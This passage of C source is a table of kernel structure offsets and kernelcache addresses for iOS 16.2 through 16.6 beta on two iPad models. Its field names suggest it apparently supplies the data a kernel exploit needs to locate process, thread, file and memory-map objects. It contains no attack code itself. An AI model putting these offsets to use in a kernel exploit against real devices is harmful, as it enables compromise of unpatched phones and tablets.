            ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a0e1178,\n                .kernelcache__gPhysBase = 0xfffffff0077e7d48,\n                .kernelcache__gPhysSize = 0xfffffff0077e7d48 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0077e5f28,\n                .kernelcache__perfmon_devices = 0xfffffff00a11c380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e37398,\n                .kernelcache__ptov_table = 0xfffffff00779b288,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a11b800,\n                .kernelcache__vm_pages = 0xfffffff0077980c0,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff00779a248,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a11b7f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007e89a20,\n            },\n\n            // iOS 16.4\n                {\n                .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20E246\",\n                .device_id = \"iPad11,6\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a19d208,\n                .kernelcache__gPhysBase = 0xfffffff0078c3fa0,\n                .kernelcache__gPhysSize = 0xfffffff0078c3fa0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078c2178,\n                .kernelcache__perfmon_devices = 0xfffffff00a1db500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e55a88,\n                .kernelcache__ptov_table = 0xfffffff007877160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1da990,\n                .kernelcache__vm_pages = 0xfffffff007873ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff007876110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1da988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ea463c,\n            },\n\n                // iOS 16.4.1\n                {\n                .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20E252\",\n                .device_id = \"iPad11,6\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a19d208,\n                .kernelcache__gPhysBase = 0xfffffff0078c3fa0,\n                .kernelcache__gPhysSize = 0xfffffff0078c3fa0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078c2178,\n                .kernelcache__perfmon_devices = 0xfffffff00a1db500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e55a88,\n                .kernelcache__ptov_table = 0xfffffff007877160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1da990,\n                .kernelcache__vm_pages = 0xfffffff007873ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff007876110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1da988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ea463c,\n            },\n\n            // iOS 16.5\n                {\n                .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20F66\",\n                .device_id = \"iPad11,6\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a1a5288,\n                .kernelcache__gPhysBase = 0xfffffff0078c80e0,\n                .kernelcache__gPhysSize = 0xfffffff0078c80e0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078c62b8,\n                .kernelcache__perfmon_devices = 0xfffffff00a1e3500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e59c8c,\n                .kernelcache__ptov_table = 0xfffffff00787b160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1e2990,\n                .kernelcache__vm_pages = 0xfffffff007877ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff00787a110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1e2988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ea8ad8,\n            },\n\n            // iOS 16.6b1\n         \n            {\n                .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n                .build_version = \"20G5026e\",\n                .device_id = \"iPad11,6\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a23dab0,\n                .kernelcache__gPhysBase = 0xfffffff0078dc288,\n                .kernelcache__gPhysSize = 0xfffffff0078dc288 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078da440,\n                .kernelcache__perfmon_devices = 0xfffffff00a27d530,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e7e434,\n                .kernelcache__ptov_table = 0xfffffff00788f9a0,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a27c910,\n                .kernelcache__vm_pages = 0xfffffff00788c0f8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff00788e950,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a27c908,\n                .kernelcache__vn_kqfilter = 0xfffffff007eccc44,\n            },\n\n        // iPad Gen 8th, Cell, Data //\n            // iOS 16.2\n                {\n                .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20C65\",\n                .device_id = \"iPad11,7\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a0e1178,\n                .kernelcache__gPhysBase = 0xfffffff0077ebc60,\n                .kernelcache__gPhysSize = 0xfffffff0077ebc60 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0077e9e40,\n                .kernelcache__perfmon_devices = 0xfffffff00a11c380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e3b3ac,\n                .kernelcache__ptov_table = 0xfffffff00779f248,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a11b800,\n                .kernelcache__vm_pages = 0xfffffff00779c080,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff00779e208,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a11b7f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007e8da44,\n            },\n\n            // iOS 16.3\n                {\n                .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20D47\",\n                .device_id = \"iPad11,7\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a0e1178,\n                .kernelcache__gPhysBase = 0xfffffff0077e7d48,\n                .kernelcache__gPhysSize = 0xfffffff0077e7d48 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0077e5f28,\n                .kernelcache__perfmon_devices = 0xfffffff00a11c380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e37398,\n                .kernelcache__ptov_table = 0xfffffff00779b288,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a11b800,\n                .kernelcache__vm_pages = 0xfffffff0077980c0,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff00779a248,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a11b7f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007e89a20,\n            },\n\n            // iOS 16.3.1\n                {\n                .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20D67\",\n                .device_id = \"iPad11,7\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a0e1178,\n                .kernelcache__gPhysBase = 0xfffffff0077e7d48,\n                .kernelcache__gPhysSize = 0xfffffff0077e7d48 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0077e5f28,\n                .kernelcache__perfmon_devices = 0xfffffff00a11c380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e37398,\n                .kernelcache__ptov_table = 0xfffffff00779b288,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a11b800,\n                .kernelcache__vm_pages = 0xfffffff0077980c0,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff00779a248,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a11b7f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007e89a20,\n            },\n\n            // iOS 16.4\n                {\n                .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20E246\",\n                .device_id = \"iPad11,7\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 